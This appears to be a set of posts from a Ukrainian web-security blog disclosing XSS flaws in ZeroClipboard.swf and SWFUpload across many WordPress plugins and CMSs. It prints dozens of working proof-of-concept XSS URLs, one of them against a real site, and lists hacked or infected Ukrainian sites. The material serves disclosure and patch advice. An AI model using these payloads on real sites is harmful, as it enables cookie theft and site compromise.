Websecurity - Веб безпека

Продовжуючи тему уразливостей в плагінах для WordPress, пропоную вам інформацію про дірки в інших плагінах для WP.

Цього разу повідомляю про уразливості в плагінах Audio Player, WP-Table Reloaded та Marekkis Watermark. Для котрих з’явилися експлоіти. Audio Player - це флеш аудіо плеєр, WP-Table Reloaded - це плагін для розміщення таблиць, Marekkis Watermark - це плагін для розміщення водяних знаків на зображення.

• Wordpress Audio Player Plugin XSS in SWF (деталі)
• WordPress WP-Table-Reloaded Cross Site Scripting (деталі)
• WordPress Marekkis Watermark Cross Site Scripting (деталі)

Користувачам даних плагінів варто або оновити їх, або власноруч виправити дірки. В якості тимчасового рішення, поки не будуть виправлені чи оновлені плагіни, можна їх виключити в адмінці.

У лютому, 20.02.2013, я знайшов Cross-Site Scripting уразливості в плагінах до WordPress, що містять ZeroClipboard.swf. Деякі плагіни також містять ZeroClipboard10.swf.

Раніше я писав про Cross-Site Scripting уразливості в ZeroClipboard та про численні вразливі веб додатки з цією флешкою. Як я зазначав, це дуже поширена флешка, що знаходиться на сотнях тисяч веб сайтів і яка використовується в сотнях веб додатків.

Також вона міститься потенційно в сотнях плагінів для WordPress. Серед них Flash Gallery, Slidedeck2, WPClone, PayPal Digital Goods powered by Cleeng і Cleeng Content Monetization. Та існує багато інших уразливих плагінів до WordPress з ZeroClipboard. Як я зазначав у першому записі, після публікації XSS дірки в плагіні WP-Table Reloaded я звернув увагу на уразливості в цій флешці. Після публікації трьох записів на тему ZeroClipboard в лютому, я зробив паузу (перед наступними публікаціями), а тим часом у березні один дослідник оприлюднив численні уразливі WordPress плагіни з цією флешкою. В цьому списку багато плагінів, але це не вичерпний список, я знаходив багато інших уразливих плагінів з ZeroClipboard (в тому числі навів такі нижче).

Cross-Site Scripting (WASC-08):

XSS через параметр id та XSS через копіювання атакуючого коду в буфер обміну (як я описав в попередньому записі).

1 Flash Gallery:

http://site/wp-content/plugins/1-flash-gallery/swf/ZeroClipboard.swf?id=%22))}catch(e){}if(!self.a)self.a=!alert(document.cookie)//&width&height

Slidedeck2 (всі Lite, Personal та Pro версії):

Папка плагіна може називитися slidedeck2, slidedeck-2.0, slidedeck2-personal та slidedeck2-pro. Містить файли ZeroClipboard.swf та ZeroClipboard10.swf.

http://site/wp-content/plugins/slidedeck2/js/zeroclipboard/ZeroClipboard.swf?id=%22))}catch(e){}if(!self.a)self.a=!alert(document.cookie)//&width&height
http://site/wp-content/plugins/slidedeck2/js/zeroclipboard/ZeroClipboard10.swf?id=%22))}catch(e){}if(!self.a)self.a=!alert(document.cookie)//&width&height

WPClone:

http://site/wp-content/plugins/wpclone/lib/js/ZeroClipboard.swf?i?id=%22))}catch(e){}if(!self.a)self.a=!alert(document.cookie)//&width&height

PayPal Digital Goods powered by Cleeng:

http://site/wp-content/plugins/paypal-digital-goods-monetization-powered-by-cleeng/js/ZeroClipboard.swf?id=%22))}catch(e){}if(!self.a)self.a=!alert(document.cookie)//&width&height

Cleeng Content Monetization:

http://www.drchloecarmichael.com/wp-content/plugins/cleeng/js/ZeroClipboard.swf?id=%22))}catch(e){}if(!self.a)self.a=!alert(document.cookie)//&width&height

Це дуже поширена флешка. Якщо при стандартному пошуку через Гугл дорки можна знайти десятки тисяч сайтів з ZeroClipboard.swf чи ZeroClipboard10.swf, то при пошуку по плагінам для WordPress можна знайти сотні тисяч сайтів з цими флешками.

Вразливі наступні веб додатки з флешкою (всі версії, перевірялося в зазначених версіях): Flash Gallery 1.7.2, Slidedeck2 (всі Lite, Personal та Pro версії, виправлено в версії 2.1.20130306), WPClone 2.0.6, PayPal Digital Goods powered by Cleeng 2.2.4, Cleeng Content Monetization 2.3.2.

Обидві XSS уразливості в ZeroClipboard вже виправлені в останній версії (від нових розробників) ZeroClipboard 1.1.7.

Після попереднього дослідження похаканих сайтів, приведу нову інформацію про взломані сайти. З числа українських сайтів.

• http://darg.gov.ua (хакером misafir) - 15.01.2013 - похаканий державний сайт, зараз сайт вже виправлений адмінами
• http://boguslav-rda.gov.ua (хакером Hmei7) - 16.01.2013 - похаканий державний сайт, на сайті все ще розміщений файл хакера
• http://www.upszn.gov.ua (хакером misafir) - 20.01.2013 - похаканий державний сайт, зараз сайт вже виправлений адмінами
• http://www.in.cv.ua (хакерами з Kosova Warriors Group) - 23.02.2013, зараз сайт вже виправлений адмінами
• http://casamia.dp.ua (хакером Hmei7) - 12.03.2013, на сайті все ще розміщений файл хакера

Сайт casamia.dp.ua розміщений на сервері HostPro, де раніше вже відбувся масовий взлом сайтів.

Раніше я писав про Content Spoofing та Cross-Site Scripting уразливості в SWFUpload. Це дуже популярна флешка, що використовується на десятках мільйонів сайтів та в сотнях веб додатків (таких як WordPress, лише один цей веб додаток використовується більше ніж на 62 мільйонах сайтів за даними wordpress.com).

Торік я писав про іншу XSS дірку в SWFUpload і зазначав, що існує багато інших веб додатків з вразливим SWFUpload. Всі вони вразливі до цих нових уразливостей, за виключенням swfupload.swf, що постачається з WordPress починаючи з версії 3.3.2.

Є декілька імен файлів SWFUpload: swfupload.swf, swfupload_f9.swf, swfupload_f8.swf, swfupload_f10.swf і swfupload_f11.swf. Багато веб додатків включають декілька файлів SWFUpload. Не всі ці флешки вразливі до нивих дірок: swfupload_f8.swf і swfupload_f9.swf не вразливі (вони не мають функціоналу buttonText).

Тому з них вразливі наступні веб додатки (та багато інших веб додатків):

swfupload.swf - Dotclear, XenForo, InstantCMS, AionWeb, Dolphin, SwfUploadPanel for TYPO3 CMS, SentinelleOnAir.

swfupload_f10.swf - SwfUploadPanel for TYPO3 CMS, Archiv plugin for TinyMCE, Liferay Portal (Community Edition і Enterprise Edition), Swfupload for Drupal, SWFUpload for Codeigniter, SentinelleOnAir.

swfupload_f11.swf - SentinelleOnAir.

А також вразливий InfoGlue (про XSS уразливість в ZeroClipboard.swf в якому я писав минулого місяця), що також містить SWFUpload.

В SWFUpload є Content Spoofing та Cross-Site Scripting уразливості, як я зазначив у вищезгаданому записі. Це приклади даної XSS уразливості в різних веб додатках.

Cross-Site Scripting (WASC-08):

WordPress:

http://site/wp-includes/js/swfupload/swfupload.swf?buttonText=%3Ca%20href=%27javascript:alert(document.cookie)%27%3EClick%20me%3C/a%3E

Dotclear:

http://site/inc/swf/swfupload.swf?buttonText=%3Ca%20href=%27javascript:alert(document.cookie)%27%3EClick%20me%3C/a%3E

XenForo:

http://site/js/swfupload/Flash/swfupload.swf?buttonText=%3Ca%20href=%27javascript:alert(document.cookie)%27%3EClick%20me%3C/a%3E

InstantCMS:

http://site/includes/swfupload/swfupload.swf?buttonText=%3Ca%20href=%27javascript:alert(document.cookie)%27%3EClick%20me%3C/a%3E

AionWeb:

http://site/engine/classes/swfupload/swfupload.swf?buttonText=%3Ca%20href=%27javascript:alert(document.cookie)%27%3EClick%20me%3C/a%3E

Dolphin:

http://site/plugins/swfupload/swf/swfupload.swf?buttonText=%3Ca%20href=%27javascript:alert(document.cookie)%27%3EClick%20me%3C/a%3E

SwfUploadPanel for TYPO3 CMS:

http://site/xtFramework/library/ext_plugin/SwfUploadPanel/swfupload.swf?buttonText=%3Ca%20href=%27javascript:alert(document.cookie)%27%3EClick%20me%3C/a%3E
http://site/xtFramework/library/ext_plugin/SwfUploadPanel/swfupload_f10.swf?buttonText=%3Ca%20href=%27javascript:alert(document.cookie)%27%3EClick%20me%3C/a%3E

Archiv plugin for TinyMCE:

http://site/js/tiny_mce/plugins/Archiv/swf/swfupload_f10.swf?buttonText=%3Ca%20href=%27javascript:alert(document.cookie)%27%3EClick%20me%3C/a%3E

Liferay Portal:

http://site/html/js/misc/swfupload/swfupload_f10.swf?buttonText=%3Ca%20href=%27javascript:alert(document.cookie)%27%3EClick%20me%3C/a%3E

Swfupload for Drupal:

http://site/js/libs/swfupload_f10.swf?buttonText=%3Ca%20href=%27javascript:alert(document.cookie)%27%3EClick%20me%3C/a%3E

SWFUpload for Codeigniter:

http://site/www/swf/swfupload_f10.swf?buttonText=%3Ca%20href=%27javascript:alert(document.cookie)%27%3EClick%20me%3C/a%3E

SentinelleOnAir:

http://site/upload/swfupload/swfupload.swf?buttonText=%3Ca%20href=%27javascript:alert(document.cookie)%27%3EClick%20me%3C/a%3E
http://site/upload/swfupload/swfupload10.swf?buttonText=%3Ca%20href=%27javascript:alert(document.cookie)%27%3EClick%20me%3C/a%3E
http://site/upload/swfupload/swfupload11.swf?buttonText=%3Ca%20href=%27javascript:alert(document.cookie)%27%3EClick%20me%3C/a%3E

InfoGlue:

Попередні XSS уразливості:

http://site/webapp/applications/swfupload/swfupload.swf?movieName=%22]);}catch(e){}if(!self.a)self.a=!alert(document.cookie);//
http://site/webapp/applications/swfupload/swfupload_f8.swf?movieName=%22]);}catch(e){}if(!self.a)self.a=!alert(document.cookie);//
http://site/webapp/applications/swfupload/swfupload_f9.swf?movieName="]);}catch(e){}if(!self.a)self.a=!alert(document.cookie);//

Нова XSS уразливість:

http://site/webapp/applications/swfupload/swfupload.swf?buttonText=%3Ca%20href=%27javascript:alert(document.cookie)%27%3EClick%20me%3C/a%3E

Вразливі всі веб додатки з SWFUpload (v2.2.0.1 та попередні версії). Вразливі WordPress 2.7 - 3.3.1, XenForo 1.0.0 - 1.1.2 та потенційно всі версії Dotclear, InstantCMS, AionWeb, Dolphin, SwfUploadPanel for TYPO3 CMS, Archiv plugin for TinyMCE, Liferay Portal (Community Edition, що раніше називався Standard Edition, і Enterprise Edition), Swfupload for Drupal, SWFUpload for Codeigniter та SentinelleOnAir.

Для виправлення уразливості потрібно використати swfupload.swf з WordPress 3.3.2 та наступних версій (в цій флешці були виправлені як попередня XSS, так і ці CS та XSS уразливості).

Продовжуючи тему уразливостей в плагінах для WordPress, пропоную вам інформацію про дірки в інших плагінах для WP.

Цього разу повідомляю про уразливості в плагінах CommentLuv, Ripe HD FLV Player та RLSWordPressSearch. Для котрих з’явилися експлоіти. CommentLuv - це плагін для розширення коментарів, Ripe HD FLV Player - це флеш відео плеєр, RLSWordPressSearch - це плагін для пошуку нерухомості на сайті.

• Cross-Site Scripting (XSS) Vulnerability in CommentLuv WordPress Plugin (деталі)
• WordPress Ripe HD FLV Player SQL Injection / Path Disclosure (деталі)
• WordPress RLSWordPressSearch SQL Injection (деталі)

Користувачам даних плагінів варто або оновити їх, або власноруч виправити дірки. В якості тимчасового рішення, поки не будуть виправлені чи оновлені плагіни, можна їх виключити в адмінці.

Після попереднього дослідження інфікованих сайтів, приведу нову інформацію про заражені сайти. З числа українських сайтів.

• http://orient-simf.at.ua - інфекція була виявлена 08.03.2013. Зараз сайт не входить до переліку підозрілих.
• http://gelion-dogs.kiev.ua - інфекція була виявлена 19.02.2013. Зараз сайт не входить до переліку підозрілих.
• http://edinstvennaya.ua - інфекція була виявлена 03.01.2013. Зараз сайт не входить до переліку підозрілих.
• http://zirki.info - інфекція була виявлена 18.01.2013. Зараз сайт не входить до переліку підозрілих.
• http://tvoymalysh.com.ua - інфекція була виявлена 30.12.2012. Зараз сайт не входить до переліку підозрілих.

Після попереднього дослідження похаканих сайтів, приведу нову інформацію про взломані сайти. З числа українських сайтів.

• http://www.ubozcn.gov.ua (хакером misafir) - 11.01.2013 - похаканий державний сайт, зараз сайт вже виправлений адмінами
• http://www.vn.ukrstat.gov.ua (хакером Hmei7) - 13.01.2013 - похаканий державний сайт, зараз сайт вже виправлений адмінами
• http://bcrda.gov.ua (хакером Sejeal) - 14.01.2013 - похаканий державний сайт, зараз сайт вже виправлений адмінами
• http://inform.kirovograd.ua (хакером TcKS!teAzrail)
• http://kebef.com (хакером CreativeTurk) - причому спочатку сайт 25.02.2013 був взломаний CreativeTurk, а зараз він вже взломаний BozQurd. Схоже, що сайт постійно хакається, як і деякі інші сайти в Уанеті

Продовжуючи тему уразливостей в плагінах для WordPress, пропоную вам інформацію про дірки в інших плагінах для WP.

Цього разу повідомляю про уразливості в плагінах Wysija Newsletters, Google Document Embedder та Gallery. Для котрих з’явилися експлоіти. Wysija Newsletters - це плагін для відправки інформаційних листів, Google Document Embedder - це плагін для включення в сайт документів з сервісів Гугла, Gallery - це плагін для створення галерей зображень.

• SQL Injection Vulnerability in Wysija Newsletters WordPress Plugin (деталі)
• WordPress Google Document Embedder Arbitrary File Disclosure (деталі)
• WordPress Gallery 3.8.3 Arbitrary File Read (деталі)

Користувачам даних плагінів варто або оновити їх, або власноруч виправити дірки. В якості тимчасового рішення, поки не будуть виправлені чи оновлені плагіни, можна їх виключити в адмінці.

Після попереднього дослідження інфікованих сайтів, приведу нову інформацію про заражені сайти. З числа українських сайтів.

• http://vigos.com.ua - інфекція була виявлена 09.02.2013. Зараз сайт входить до переліку підозрілих.
• http://susanin.com - інфекція була виявлена 24.02.2013. Зараз сайт не входить до переліку підозрілих.
• http://vigos.info - інфекція була виявлена 02.02.2013. Зараз сайт входить до переліку підозрілих.
• http://apartaments.od.ua - інфекція була виявлена 06.02.2013. Зараз сайт не входить до переліку підозрілих.
• http://hot-girls.kiev.ua - інфекція була виявлена 12.01.2013. Зараз сайт не входить до переліку підозрілих.

Продовжуючи тему уразливостей в плагінах для WordPress, пропоную вам інформацію про дірки в інших плагінах для WP.

Цього разу повідомляю про уразливості в плагінах WordPressSearch, XML Sitemap Generator та NextGEN Gallery. Для котрих з’явилися експлоіти. WordPressSearch - це плагін для пошуку нерухомості, XML Sitemap Generator - це плагін для створення xml-файлів карти сайту, NextGEN Gallery - це плагін для створення галерей зображень.

• WordPressSearch plugin SQL Injection Vulnerability (деталі)
• XML Sitemap Generator 3.2.8 Code Injection (деталі)
• WordPress NextGEN Gallery 1.9.10 Cross Site Scripting (деталі)

Користувачам даних плагінів варто або оновити їх, або власноруч виправити дірки. В якості тимчасового рішення, поки не будуть виправлені чи оновлені плагіни, можна їх виключити в адмінці.